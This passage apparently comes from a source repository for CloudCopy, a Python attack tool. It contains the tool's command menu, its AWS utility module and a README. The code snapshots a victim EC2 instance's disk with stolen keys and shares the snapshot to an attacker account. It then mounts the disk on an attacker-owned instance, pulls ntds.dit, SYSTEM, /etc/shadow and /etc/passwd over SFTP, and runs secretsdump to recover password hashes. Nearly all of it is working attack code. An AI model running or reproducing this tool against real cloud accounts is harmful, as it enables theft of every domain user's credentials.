sub-class that adds CloudCopy attack commands 398 | ''' 399 | class MainMenu(BaseCmdInterpreter): 400 | 401 | def __init__(self): 402 | super(MainMenu, self).__init__() 403 | self.usage() 404 | self.prompt = "(CloudCopy)" 405 | 406 | def usage(self): 407 | print("""CLOUDCOPY your one stop shop for stealing goodies from Cloud instances! 408 | CLOUDCOPY uses a simple process of V_Instance->Snapshot->Volume->A_Instance 409 | to steal the hard drive of a victim instance and mount it to an attacker 410 | controlled box for pilfering. CLOUDCOPY has two main modes, Profile and Manual. 411 | NOTICE: you must manually run "cleanup" to destroy the instances. CLOUDCOPY will only auto-clean when an error occurs 412 | There are two modes for accessing AWS: 413 | Profile: Which uses the profiles in .aws/credentials file for authenticating 414 | Manual: Which uses supplied Access/Secret keys of the Victim/Attacker for authenticating 415 | For one attack path: 416 | StealDCHashes: This mode is meant to run against Domain Controllers in the cloud. 417 | It copies the drive to a Linux system, extracts the ntds.dit and SYSTEM 418 | files and uses Impacket's secretsdump to recreate the Domains hashes. 419 | StealShadowPasswd: This mode is meant to run against Linux servers. It steals the 420 | /etc/shadow and /etc/passwd files for cracking offline.""") 421 | 422 | #helper to reset options when switching between attack types 423 | def reset_options(self): 424 | self.options = {'attackeraccountid': ''} 425 | 426 | #initiates profile based CloudCopy attack 427 | def do_profile_cloudcopy(self, args): 428 | """profile_cloudcopy 429 | CloudCopy attack using .aws/credential profiles to authenticate""" 430 | sub_cmd = ProfileCloudCopy(self.options) 431 | sub_cmd.cmdloop() 432 | self.reset_options() 433 | 434 | #initiates manual based CloudCopy attack 435 | def do_manual_cloudcopy(self, args): 436 | """manual_cloudcopy 437 | CloudCopy attack using manually set attacker/victim access/secret keys to authenticate""" 438 | sub_cmd = ManualCloudCopy(self.options) 439 | sub_cmd.cmdloop() 440 | self.reset_options() 441 | 442 | # initiates manual based Azure CloudCopy attack 443 | def do_azure_secprinciple_cloudcopy(self, args): 444 | """Azure_cloudcopy using security principle accounts 445 | CloudCopy attack using manually security principle accounts""" 446 | sub_cmd = AzureSecPrincipleCloudCopy(self.options) 447 | sub_cmd.cmdloop() 448 | self.reset_options() 449 | 450 | if __name__ == '__main__': 451 | cmd = MainMenu() 452 | try: 453 | cmd.cmdloop() 454 | except KeyboardInterrupt: 455 | print("K. BYE!") 456 | -------------------------------------------------------------------------------- /CloudCopyUtils.py: -------------------------------------------------------------------------------- 1 | import io 2 | import os 3 | import time 4 | import uuid 5 | 6 | import boto3 7 | import paramiko 8 | import requests 9 | from botocore.exceptions import ClientError 10 | 11 | ''' 12 | Util methods for actually CloudCopying 13 | ''' 14 | 15 | 16 | class CloudCopyUtils: 17 | 18 | def __init__(self, loginContext): 19 | self.keyName = str(uuid.uuid4()) 20 | self.loginContext = loginContext # contains context for the CloudCopy attack 21 | self.victimInstance = None # boto3.Instance object that is the victim instance we are CloudCopying 22 | self.victimSnapshot = None # boto3.Snapshot that is the snapshot made from victim instance 23 | self.attackingInstance = None # boto3.Instance object that is the attacking instance holding the snapshot 24 | self.securityGroup = None # boto3.SecurityGroup that is the security group for accessing the attacker instance 25 | self.vpc = None # bot3.VPC that is the VPC our cloned instance will live in 26 | self.subnet = None # boto3.Subnet is the subnet inside the VPC where our cloned instance will live 27 | self.internetGateway = None # boto3.InternetGateway is the gateway for the VPC to reach the interwebs 28 | self.instanceKey = None # boto3.KeyPair that is the PEM key used for accessing the instance 29 | self.botoClient = None # boto3 client for accessing AWS programmatically 30 | self.attackMode = 'victim' # attack mode currently in use 'victim' for running in their AWS 'attacker' for ours 31 | 32 | def printGap(self): 33 | print('---------------------------------------------------------') 34 | 35 | def cleanup(self): 36 | self.printGap() 37 | print("cleaning up any mess we made") 38 | if self.internetGateway and not self.vpc.preset: 39 | self.internetGateway.load() 40 | attachedVpcs = self.internetGateway.attachments 41 | for vpc in attachedVpcs: 42 | self.internetGateway.detach_from_vpc(VpcId=vpc['VpcId']) 43 | self.internetGateway.delete() 44 | if self.subnet and not self.vpc.preset: 45 | self.subnet.delete() 46 | if self.vpc and not self.vpc.preset: 47 | self.vpc.delete() 48 | if self.instanceKey: 49 | self.instanceKey.delete() 50 | print("Deleted key " + self.keyName) 51 | os.remove("./" + self.keyName + ".pem") 52 | self.instanceKey = None 53 | if self.attackingInstance: 54 | print("Waiting for CloudCopy instance to terminate...") 55 | try: 56 | self.attackingInstance.terminate() 57 | self.attackingInstance.wait_until_terminated() 58 | except ClientError: 59 | self.attackingInstance.wait_until_terminated() 60 | self.attackingInstance = None 61 | if self.securityGroup: 62 | try: 63 | self.securityGroup.delete() 64 | print("Deleted security group " + self.securityGroup.group_name) 65 | except ClientError as e: 66 | if e.response['Error']['Code'] != 'InvalidGroup.NotFound': 67 | print( 68 | "Error deleting Security Group. May still be tied to instance. Waiting 30 secs and trying again.") 69 | time.sleep(30) 70 | try: 71 | self.securityGroup.delete() 72 | print("Deleted security group") 73 | except ClientError: 74 | print("Couldn't delete security group, may have to remove manually.") 75 | self.securityGroup = None 76 | if self.victimSnapshot: 77 | self.attackMode = 'victim' 78 | try: 79 | self.createBotoClient() 80 | snapshot = self.botoClient.Snapshot(self.victimSnapshot.snapshot_id) 81 | snapshot.delete() 82 | print("Deleted snapshot " + self.victimSnapshot.snapshot_id) 83 | self.victimSnapshot = None 84 | except ClientError: 85 | print("Switching client context back to victim failed. Could not delete initial Snapshot") 86 | self.printGap() 87 | 88 | def setAttackContext(self, attackContext): 89 | self.attackMode = attackContext 90 | 91 | # creates the boto3.Resource for accessing AWS 92 | def createBotoClient(self): 93 | try: 94 | if self.loginContext['type'] == 'profile': 95 | self.botoClient = boto3.Session(profile_name=self.loginContext['options'][self.attackMode + 'Profile'], 96 | region_name=self.loginContext['options']['region']).resource('ec2') 97 | else: 98 | self.botoClient = boto3.Session( 99 | aws_access_key_id=self.loginContext['options'][self.attackMode + 'AccessKey'], 100 | aws_secret_access_key=self.loginContext['options'][self.attackMode + 'SecretKey'], 101 | ).resource('ec2') 102 | except ClientError: 103 | return False 104 | 105 | # lists available instances within the victim AWS account in the specified region 106 | def listInstances(self): 107 | instances = list(self.botoClient.instances.all()) 108 | for index, instance in enumerate(instances): 109 | if instance.tags is not None: 110 | print(str(index) + ' - ' + instance.instance_id + ":" + instance.tags[0]['Value']) 111 | else: 112 | print( 113 | str(index) + ' - ' + instance.instance_id + ": No name. Can CloudCopy but DC Hashes may not exist.") 114 | 115 | inp = input("which instance are we CloudCopying today? (# or exit to go back) ") 116 | if inp != 'exit': 117 | try: 118 | self.victimInstance = instances[int(inp)] 119 | return True 120 | except ValueError: 121 | return False 122 | else: 123 | return False 124 | 125 | # creates a snapshot of a specified victim instance 126 | def createSnapshot(self): 127 | victimVolumeId = self.victimInstance.block_device_mappings[0]['Ebs']['VolumeId'] 128 | try: 129 | self.botoClient.create_snapshot(VolumeId=victimVolumeId, DryRun=True) 130 | except ClientError as e: 131 | if e.response['Error']['Code'] == 'DryRunOperation': 132 | try: 133 | self.victimSnapshot = self.botoClient.create_snapshot(VolumeId=victimVolumeId, DryRun=False) 134 | self.victimSnapshot.load() 135 | while self.victimSnapshot.state != 'completed': 136 | print("Snapshot hasn't been created yet, waiting...") 137 | self.victimSnapshot.load() 138 | time.sleep(10) 139 | print("Snapshot created, sharing it with attacker account") 140 | return True 141 | except ClientError: 142 | print("Snapshot could not be created, sorry") 143 | self.cleanup() 144 | return False 145 | elif e.response['Error']['Code'] == 'UnauthorizedOperation': 146 | print("We do not have the Ec2:CreateSnapshot permission. This attack will not succeed. K-Bye.") 147 | self.cleanup() 148 | return False 149 | 150 | # modifies the created snapshot to share it with the attacker owned account 151 | def modifySnapshot(self): 152 | if not self.victimSnapshot.encrypted: 153 | self.victimSnapshot.modify_attribute(Attribute='createVolumePermission', CreateVolumePermission={ 154 | 'Add': [{'UserId': self.loginContext['options']['attackeraccountid']}] 155 | }) 156 | print("Snapshot should have been shared. Switching to attacker account.") 157 | self.setAttackContext('attacker') 158 | try: 159 | self.createBotoClient() 160 | except ClientError: 161 | return False 162 | self.victimSnapshot = self.botoClient.Snapshot(self.victimSnapshot.snapshot_id) 163 | while True: 164 | try: 165 | # just checking if this fails to determine if it's in attacker control 166 | self.victimSnapshot.description 167 | break 168 | except ClientError: 169 | print("Snapshot hasn't arrived, waiting...") 170 | time.sleep(10) 171 | print("We have the snapshot in our control time to mount it to an instance!") 172 | return True 173 | else: 174 | print("No point sharing the snapshot, it is encrypted") 175 | return False 176 | 177 | # creates a security group for the attacker controlled instance so that we can SSH to it. It's open to the world FYI 178 | def createSecurityGroup(self): 179 | ip = requests.get('https://checkip.amazonaws.com').text.strip() + "/32" 180 | for securityGroup in list(self.vpc.security_groups.all()): 181 | for permission in securityGroup.ip_permissions: 182 | for ipRange in permission['IpRanges']: 183 | if ipRange['CidrIp'] == ip or ipRange['CidrIp'] == '0.0.0.0/0': 184 | if permission['IpProtocol'] == '-1' or (['FromPort'] == permission['ToPort'] == '22'): 185 | for egressPerm in securityGroup.ip_permissions_egress: 186 | if egressPerm['IpProtocol'] == '-1' or ( 187 | egressPerm['FromPort'] == egressPerm['ToPort'] == '-1'): 188 | self.securityGroup = securityGroup 189 | print("Found usable security group") 190 | return True 191 | print("Couldn't find a suitable security group for exfil so we are making one") 192 | security_group_name = str(uuid.uuid4()) 193 | try: 194 | self.botoClient.create_security_group( 195 | Description='For connecting to cred stealing instance.', 196 | GroupName=security_group_name, 197 | VpcId=self.vpc.vpc_id, 198 | DryRun=True 199 | ) 200 | except ClientError as e: 201 | if e.response['Error']['Code'] == 'DryRunOperation': 202 | self.securityGroup = self.botoClient.create_security_group( 203 | Description='For connecting to cred stealing instance.', 204 | GroupName=security_group_name, 205 | VpcId=self.vpc.vpc_id, 206 | DryRun=False 207 | ) 208 | self.securityGroup.load(), 209 | self.securityGroup.authorize_ingress(GroupId=self.securityGroup.group_id, IpProtocol="tcp", 210 | CidrIp=ip, FromPort=22, ToPort=22) 211 | print("Finished creating security group " + security_group_name + " for instance " + 212 | self.victimInstance.instance_id) 213 | return True 214 | elif e.response['Error']['Code'] == 'UnauthorizedOperation': 215 | print("We do not have the Ec2:CreateSecurityGroup permission. This attack will not succeed. K-Bye.") 216 | self.cleanup() 217 | return False 218 | 219 | # creates a VPC for the instance to live in 220 | def createVPC(self): 221 | existingVpc = self.getUseableVPC() 222 | if existingVpc: 223 | self.vpc = existingVpc 224 | self.vpc.preset = True # custom property to skip next sections 225 | self.vpc.load() 226 | print("using preexisting VPC, " + self.vpc.vpc_id) 227 | return True 228 | else: 229 | try: 230 | self.botoClient.create_vpc(CidrBlock='172.16.0.0/16', DryRun=True) 231 | except ClientError as e: 232 | if e.response['Error']['Code'] == 'DryRunOperation': 233 | self.vpc = self.botoClient.create_vpc(CidrBlock='172.16.0.0/16', DryRun=False) 234 | self.vpc.load() 235 | self.internetGateway.attach_to_vpc(VpcId=self.vpc.vpc_id) 236 | print("Created new VPC " + self.vpc.vpc_id + " for instance " + self.victimInstance.instance_id) 237 | return True 238 | elif e.response['Error']['Code'] == 'VpcLimitExceeded': 239 | print("Too many VPCs") 240 | self.cleanup() 241 | return False 242 | else: 243 | print("We could not create the VPC for the instance. This attack will not succeed. K-Bye.") 244 | self.cleanup() 245 | return False 246 | except Exception as ex: 247 | print(ex) 248 | return False 249 | 250 | def getUseableVPC(self): 251 | # We try and find a VPC that's usable on the account 252 | for vpc in list(self.botoClient.vpcs.all()): 253 | if len(list(vpc.subnets.all())) > 0: 254 | if len(list(vpc.internet_gateways.all())) > 0: 255 | # if the vpc has all the pieces we need use that 256 | return vpc 257 | return None 258 | 259 | def createInternetGateway(self): 260 | if self.vpc.preset: 261 | print("Using internet gateway of VPC") 262 | return True 263 | else: 264 | try: 265 | self.botoClient.create_internet_gateway(DryRun=True) 266 | except ClientError as e: 267 | if e.response['Error']['Code'] == 'DryRunOperation': 268 | self.internetGateway = self.botoClient.create_internet_gateway(DryRun=False) 269 | print("Created new internet gateway " + self.internetGateway.internet_gateway_id) 270 | return True 271 | else: 272 | print("We could not create the internet gateway. This attack will not succeed. K-Bye.") 273 | self.cleanup() 274 | return False 275 | 276 | def createSubnet(self): 277 | if len(list(self.vpc.subnets.all())) != 0: 278 | # we already have subnets available 279 | self.subnet = list(self.vpc.subnets.all())[0] 280 | self.subnet.load() 281 | print("Using existing subnet: " + self.subnet.subnet_id) 282 | return True 283 | else: 284 | try: 285 | self.botoClient.create_subnet(CidrBlock='172.16.0.0/16', VpcId=self.vpc.vpc_id, DryRun=True) 286 | except ClientError as e: 287 | if e.response['Error']['Code'] == 'DryRunOperation': 288 | self.subnet = self.botoClient.create_subnet(CidrBlock='172.16.0.0/16', VpcId=self.vpc.vpc_id, 289 | DryRun=False) 290 | print( 291 | "Created new subnet " + self.subnet.subnet_id + " for instance " + self.victimInstance.instance_id) 292 | return True 293 | else: 294 | print( 295 | "We could not create the subnet inside the VPO for the instance. This attack will not succeed. K-Bye.") 296 | self.cleanup() 297 | return False 298 | 299 | # create a key pair for use with the attacking instance if one is not set 300 | def createKeyPair(self): 301 | try: 302 | self.botoClient.create_key_pair(KeyName=self.keyName, DryRun=True) 303 | except ClientError as e: 304 | if e.response['Error']['Code'] == 'DryRunOperation': 305 | self.instanceKey = self.botoClient.create_key_pair(KeyName=self.keyName, DryRun=False) 306 | print("Created new key " + self.keyName + " for instanced. Wrote the PEM file to disc for use later.") 307 | private_key_string = io.StringIO() 308 | private_key_string.write(self.instanceKey.key_material) 309 | private_key_string.seek(0) 310 | paramiko.RSAKey.from_private_key(private_key_string).write_private_key_file( 311 | './' + self.keyName + '.pem') 312 | return True 313 | elif e.response['Error']['Code'] == 'UnauthorizedOperation': 314 | print("We do not have the Ec2:CreateKeyPair permission. This attack will not succeed. K-Bye.") 315 | self.cleanup() 316 | return False 317 | 318 | # creates a new attacker owned EC2 instance that uses the snapshot as an attached disk containing the DC hashes 319 | def createInstance(self): 320 | try: 321 | self._createInstance(True) 322 | except ClientError as e: 323 | if e.response['Error']['Code'] == 'DryRunOperation': 324 | print("Dry run succeeded! Creating instance for real.") 325 | self._createInstance(False) 326 | while self.attackingInstance.state['Name'].strip() != "running": 327 | print("Your instance will be arriving shortly...") 328 | time.sleep(10) 329 | self.attackingInstance.load() 330 | print("Your instance has arrived. Time to get some sweet sweet creds!") 331 | return True 332 | elif e.response['Error']['Code'] == 'UnauthorizedOperation': 333 | print("We do not have the Ec2:CreateSecurityGroup permission. This attack will not succeed. K-Bye.") 334 | return False 335 | else: 336 | print(e) 337 | return False 338 | 339 | # helper to create the instance given a specific key 340 | def _createInstance(self, isDryRun): 341 | self.attackingInstance = self.botoClient.create_instances( 342 | DryRun=isDryRun, 343 | BlockDeviceMappings=[{ 344 | "DeviceName": '/dev/sdf', 345 | "Ebs": { 346 | "SnapshotId": self.victimSnapshot.snapshot_id 347 | } 348 | }], 349 | NetworkInterfaces=[ 350 | { 351 | 'SubnetId': self.subnet.subnet_id, 352 | 'DeviceIndex': 0, 353 | 'AssociatePublicIpAddress': True, 354 | 'Groups': [self.securityGroup.group_id] 355 | } 356 | ], 357 | ImageId='ami-0c6b1d09930fac512', 358 | MaxCount=1, 359 | MinCount=1, 360 | InstanceType='t2.micro', 361 | KeyName=self.keyName)[0] 362 | print(self.attackingInstance) 363 | 364 | # helper to create the connection to the attacker instance 365 | def connectToInstance(self): 366 | private_key_string = io.StringIO() 367 | private_key_string.write(self.instanceKey.key_material) 368 | private_key_string.seek(0) 369 | key = paramiko.RSAKey.from_private_key(private_key_string) 370 | connection = paramiko.SSHClient() 371 | connection.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 372 | print("Connecting to instance") 373 | connected = False 374 | while not connected: 375 | try: 376 | connection.connect(hostname=self.attackingInstance.public_dns_name, username='ec2-user', pkey=key) 377 | connected = True 378 | except paramiko.ssh_exception.NoValidConnectionsError: 379 | print("Can't connect yet, instance may still be warming up. Trying again in 10s") 380 | time.sleep(10) 381 | except TimeoutError as t: 382 | print("Timeout in connection, security rules are borked. Cleaning up") 383 | self.cleanup() 384 | return None, None 385 | sftp = connection.open_sftp() 386 | return connection, sftp 387 | 388 | # SSH's into the instance mounts the DC snapshot copies the ntds.dit and SYSTEM file gives ownership to ec2-user 389 | # SFTP's into the instance and downloads the ntds.dit and SYSTEM file locally 390 | # runs impacket's secretsdump tool to recreate the hashes. Expects secretsdump to be on your path. 391 | def stealDCHashFiles(self): 392 | outfileUid = str(uuid.uuid4()) 393 | connection, sftp = self.connectToInstance() 394 | if connection and sftp: 395 | self.printGap() 396 | # have to block on these calls to ensure they happen in order 397 | _, stdout, _ = connection.exec_command("sudo mkdir /windows") 398 | stdout.channel.recv_exit_status() 399 | _, stdout, _ = connection.exec_command("sudo mount /dev/xvdf1 /windows/") 400 | stdout.channel.recv_exit_status() 401 | _, stdout, _ = connection.exec_command("sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user/ntds.dit") 402 | stdout.channel.recv_exit_status() 403 | _, stdout, _ = connection.exec_command( 404 | "sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user/SYSTEM") 405 | stdout.channel.recv_exit_status() 406 | _, stdout, _ = connection.exec_command("sudo chown ec2-user:ec2-user /home/ec2-user/*") 407 | stdout.channel.recv_exit_status() 408 | print("finished configuring instance to grab Hash Files") 409 | self.printGap() 410 | print("Pulling the files...") 411 | try: 412 | sftp.get("/home/ec2-user/SYSTEM", "./SYSTEM-" + outfileUid) 413 | print("SYSTEM registry hive file retrieval complete") 414 | sftp.get("/home/ec2-user/ntds.dit", "./ntds.dit-" + outfileUid) 415 | print("ntds.dit registry hive file retrieval complete") 416 | sftp.close() 417 | connection.close() 418 | self.printGap() 419 | print("finally gonna run secretsdump!") 420 | except Exception as e: 421 | print("hmm copying files didn't seem to work. Maybe just sftp in yourself and run this part.") 422 | try: 423 | import platform 424 | import subprocess 425 | if platform.system() == "Windows": 426 | subprocess.run( 427 | ["C:\Python27\Scripts\secretsdump.py", "-system", "./SYSTEM-" + outfileUid, "-ntds", 428 | "./ntds.dit-" + outfileUid, "local", 429 | "-outputfile", "secrets-" + outfileUid], shell=True) 430 | else: 431 | subprocess.run( 432 | ["secretsdump.py", "-system", "./SYSTEM-" + outfileUid, "-ntds", "./ntds.dit-" + outfileUid, 433 | "local", 434 | "-outputfile", "secrets-" + outfileUid]) 435 | except FileNotFoundError: 436 | print("hmm can't seem to find secretsdump on your path. Run this manually against the files.") 437 | 438 | # Same as above we are just stealing /etc/shadow and /etc/passwd now 439 | def stealShadowPasswd(self): 440 | outfileUid = str(uuid.uuid4()) 441 | connection, sftp = self.connectToInstance() 442 | self.printGap() 443 | # have to block on these calls to ensure they happen in order 444 | _, stdout, _ = connection.exec_command("sudo mkdir /linux") 445 | stdout.channel.recv_exit_status() 446 | _, stdout, _ = connection.exec_command("sudo mount /dev/xvdf1 /linux/") 447 | stdout.channel.recv_exit_status() 448 | _, stdout, _ = connection.exec_command("sudo cp /linux/etc/shadow /home/ec2-user/shadow") 449 | stdout.channel.recv_exit_status() 450 | _, stdout, _ = connection.exec_command("sudo cp /linux/etc/passwd /home/ec2-user/passwd") 451 | stdout.channel.recv_exit_status() 452 | _, stdout, _ = connection.exec_command("sudo chown ec2-user:ec2-user /home/ec2-user/*") 453 | stdout.channel.recv_exit_status() 454 | print("finished configuring instance to grab Shadow and Passwd files") 455 | self.printGap() 456 | print("Pulling the files...") 457 | try: 458 | sftp.get("/home/ec2-user/shadow", "./shadow-" + outfileUid) 459 | print("/etc/shadow file retrieval complete") 460 | sftp.get("/home/ec2-user/passwd", "./passwd-" + outfileUid) 461 | print("/etc/passwd file retrieval complete") 462 | sftp.close() 463 | connection.close() 464 | self.printGap() 465 | except Exception as e: 466 | print("hmm copying files didn't seem to work. Maybe just sftp in yourself and run this part.") -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CloudCopy 2 | This tool implements a cloud version of the Shadow Copy attack against domain controllers running in AWS. Any AWS user possessing the EC2:CreateSnapshot permission can steal the hashes of all domain users by creating a snapshot of the Domain Controller mounting it to an instance they control and exporting the NTDS.dit and SYSTEM registry hive file for use with Impacket's secretsdump project. 3 | 4 | # Demos 5 | 6 | CloudCopy in Profile mode running against an AWS Domain Controller with an unencrypted Volume 7 | ![](demos/unencrypted.gif) 8 | 9 | CloudCopy in Manual mode running against an AWS Domain Controller with an encrypted Volume 10 | ![](demos/encrypted.gif) 11 | 12 | # Detailed CloudCopy Algorithm 13 | 1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions 14 | 2. Run "Describe-Instances" and show in list for attacker to select 15 | 3. Run "Create-Snapshot" on volume of selected instance 16 | 4. Run "modify-snapshot-attribute" on new snapshot to set "createVolumePermission" to attacker AWS Account 17 | 5. Load AWS CLI with Attacker Credentials 18 | 6. Run "run-instance" command to create new linux ec2 with our stolen snapshot 19 | 7. Ssh run "sudo mkdir /windows" 20 | 8. Ssh run "sudo mount /dev/xvdf1 /windows/" 21 | 9. Ssh run "sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user" 22 | 10. Ssh run "sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user" 23 | 11. Ssh run "sudo chown ec2-user:ec2-user /home/ec2-user/*" 24 | 12. SFTP get "/home/ec2-user/SYSTEM ./SYSTEM" 25 | 13. SFTP get "/home/ec2-user/ntds.dit ./ntds.dit" 26 | 14. locally run "secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets #expects secretsdump to be on path 27 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Static-Flow/CloudCopy/f67e3b1d4c120d2dbe509650c95cef654a921b18/__init__.py -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /demos/encrypted.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Static-Flow/CloudCopy/f67e3b1d4c120d2dbe509650c95cef654a921b18/demos/encrypted.gif -------------------------------------------------------------------------------- /demos/unencrypted.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Static-Flow/CloudCopy/f67e3b1d4c120d2dbe509650c95cef654a921b18/demos/unencrypted.gif -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import setup 2 | 3 | setup( 4 | name='CloudCopy', 5 | version='', 6 | packages=[''], 7 | url='', 8 | license='', 9 | author='Static-Flow', 10 | author_email='', 11 | description='', 12 | install_requires=[ 13 | 'boto3', 14 | 'readline', 15 | 'paramiko', 16 | 'pyreadline' 17 | ], 18 | ) 19 | --------------------------------------------------------------------------------